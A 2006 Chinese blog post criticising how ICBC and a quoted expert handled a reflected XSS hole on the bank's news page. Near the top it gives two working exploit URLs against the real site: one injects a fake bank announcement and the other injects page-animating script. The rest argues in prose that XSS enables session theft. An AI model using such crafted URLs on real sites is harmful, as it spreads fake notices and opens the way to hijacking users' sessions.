关于工行的XSS漏洞

原文发表在  http://www.blogjava.net/emu/archive/2006/12/31/91171.html

这两天很流行玩这个:
http://www.icbc.com.cn/news/hotspot.jsp?column=%3Cfont%20size=10%3E%BD%F7%B4%CB%D4%AA%B5%A9%BC%D1%BD%DA%D6%AE%BC%CA%A3%AC%B9%A4%C9%CC%D2%F8%D0%D0%B8%F8%C3%BF%B8%F6%B4%A2%BB%A7%C3%E2%B7%D1%B7%A2%B7%C51000%CD%F2%C3%C0%BD%F0%3C/font%3E

会出来:



还有更好玩的:
http://www.icbc.com.cn/news/hotspot.jsp?column=%3Cscript%3ER%3D0%3B%20x1%3D.1%3B%20y1%3D.05%3B%20x2%3D.25%3B%20y2%3D.24%3B%20x3%3D1.6%3B%20y3%3D.24%3B%20x4%3D300%3B%20y4%3D200%3B%20x5%3D300%3B%20y5%3D200%3B%20DI%3Ddocument.body.getElementsByTagName%28%27table%27%29%3B%20DIL%3DDI.length%3B%20function%20A%28%29%7Bfor%28i%3DDIL-1%3Bi%3E-1%3Bi--%29%7BDIS%3DDI%5B%20i%20%5D.style%3B%20DIS.position%3D%27absolute%27%3B%20DIS.left%3DMath.sin%28R*x1-%28-%28i*x2-%28-%28x3%29%29%29%29%29*x4-%28-%28x5%29%29%3B%20DIS.top%3DMath.cos%28R*y1-i*y2-y3%29*y4-%28-%28y5%29%29%7DR--%7Dwindow.onload%20%3D%20function%20%28%29%20%7BsetInterval%28%27A%28%29%27%2C5%29%3Bdocument.title%3D%27FBI%27%7D%3C/script%3E

整个页面都可以出来动画效果


这还不够好玩?还有更更好玩的:
http://www.donews.com/Content/200612/92ac3138ade9406c81d72a057a995f5e.shtm

DoNews(北京)12月31日消息(记者 徐新事)近日网上盛传中国工商银行网站被黑客攻击,网友在IM和论坛里传播“ 中国工商银行宣布破产 ”、“ 中国工商银行转让80%给**网站 ”等伪造的信息。此类恶搞信息造成网友认知混乱,认为中国工商银行网上银行不可靠,发起对网络银行安全性质疑。记者就此事采访资深网络专家 龙如俊 先生。龙如俊认为这只是常见的跨站式Xss处理不当造成,谈不上攻击,对工行网银安全不存在威胁。

 

  龙如俊介绍到,几种常见Web站点不安全的编程漏洞包括密码漏洞、跨站脚本漏洞、不安全的存储漏洞和拒绝服务漏洞。此次中国工商银行网站的漏洞就是跨站脚本漏洞,实际上就是脚本人员对跨站式Xss处理不当。网友利用该漏洞,编辑特殊代码后得到网上传播的链接,但是对正常的网银交易不会产生任何影响。

  龙如俊称跨站式Xss处理不当是常见的Bug,就是微软、雅虎、亚马逊等公司都出现过此类问题,也都难以避免这种现象。如Yahoo! Mail中采取了积极的防预措施来预防XSS。特别是其邮件站点在适当的上下文中将"javascript”转换成了"_javascript”,以阻止代码的执行。他说:“这并非重大故障,更谈不上是攻击,对工行网银安全不会存在任何威胁。”

  至于为何出现该跨站式Xss漏洞,龙如俊称主要有两个原因。首先,HTML没有明确区分代码和数据;其次,程序在将用户数据发送回浏览器时没有进行有效的转义,这导致包含有引号的数据被放入页面中。

  “当前流行的Ajax技术对预防跨站式Xss漏洞方面有一定好处,”龙如俊说:“Ajax技术包含一个专用渠道XML链接,其中全是数据而没有代码。这样,就有可能让客户端AJAX引擎负责对字符串进行转义、检测不正确的值。”

  但龙如俊表示直到AJAX更为成熟或更为标准化,否则只会导致错误的编程和安全漏洞,毕竟Ajax技术只是web2.0中涌出新型技术还不够成熟。(完)


XSS漏洞根本就不是“HTML没有明确区分代码和数据”带来的问题,而是“程序员没有明确区分代码和数据”带来的问题。各大网站不但都遇到过这样的问题,很多网站也在这上面栽过大跟斗吃过大亏。网络安全无小事,大家用龙如俊专家这样的态度来处理问题,黑客们就有福了。

此外“跨站式Xss”本身也是个很外行的说法。XSS是Cross-Site-Script的缩写(跨站脚本),第一个单词Cross有“交叉”的意思,缩写的时候就用一个大大的“叉”来缩写。所以XSS就是跨站脚本,哪里还有什么“跨站式的跨站脚本”?



发出这篇文章之后,很惊讶的发现龙如俊的博客链接就在文章里面:
http://longrujun.name/default.html

从博客上看,龙如俊真称得上是“往来无白丁”了。他的好友里面赫然有:刘韧蒋涛曾登高这样一些如雷贯耳的名字,想必他本人也不是泛泛之辈。看看他对此事的原始评论把:
http://longrujun.name/blogs/longrujun/archive/2006/12/31/_E88DD97A1A812C6708FF_XSS_09FF0F6F1E6DEE959898F25DCF7E0D4E2F66EE959898_.aspx
从原文看来,龙大师比记者所转述的还是要内行的多的:

典型攻击:涉及XSS的典型攻击通常都需要称为“social engineering(社会工程)的什么东西。意味着说服某人点击您所创建的某一链接,该链接包含指向某一Web站点的提交功能,该站点具有XSS漏洞,该链接通过该漏洞提交JavaScript代码。提交的JavaScript代码通常会从用户的浏览器窃取会话cookie并将它们提交给攻击者的某一Web站点。攻击者然后可以使用这些会话来冒充受攻击用户,且无需密码。尽管策动这种攻击比较困难,但攻击者却可以很好地文档 化和理解它,因此必须谨慎地加以避免。

这段话虽然有点含糊其辞(“social engineering(社会工程)的什么东西是什么东西?),但是观点基本是明确的(但是“尽管策动这种攻击比较困难”这句又很让人怀疑他的根本观点是什么)。但是话从徐新事大记者嘴巴里面出来就变成了:

龙如俊认为这只是常见的跨站式Xss处理不当造成,谈不上攻击,对工行网银安全不存在威胁。

一开始以为是徐大记者自作主张强奸了龙如俊的愿意,看了看龙如俊的其他文章,他本人曾经担任过(或者仍然担任着)DoNews技术顾问,而且他和徐记者也不是头一回合作了,看来还很乐意被徐记者采访(还是强奸?)并在自己的博客里面转徐记者的新闻稿。而且龙的标题也是很容易引起误会的:《跨站脚本(XSS)漏洞问题已经不是问题》,既可以理解为技术上规避此漏洞不难的意思,也可以理解为这个漏洞不会造成安全威胁的意思。这样他们两个谁在臭嘴巴就无从考证了。

XSS漏洞其实是十分危险,很成问题,很容易被恶意利用的。如果没有验证码或者重新输入密码验证的限制,一个在线邮箱系统的一出现XSS漏洞可以很容易利用来盗取用户个人资料、修改密码;如果没有IP限制,就可以被利用来窃取session,伪造登录状态。轻则破坏用户数据,重则盗取邮件中的商业、隐私、财务资料,后果不堪设想。在论坛、博客等系统中一样的可以用来进行身份冒充、恶意消费和数据破坏。现在这样一个漏洞出现在一个银行的官方网站上,而且数天时间没有得到积极响应(咨询了工行的朋友,得到的惟一答复就是龙如俊的文章)和处理,让人怎么不怀疑这个银行的开发人员的水平和责任心?这样的人有能力保护好自己客户的资料和钱吗?

 

posted @ 2006-12-31 22:51  emu  阅读(296)  评论(0编辑  收藏  举报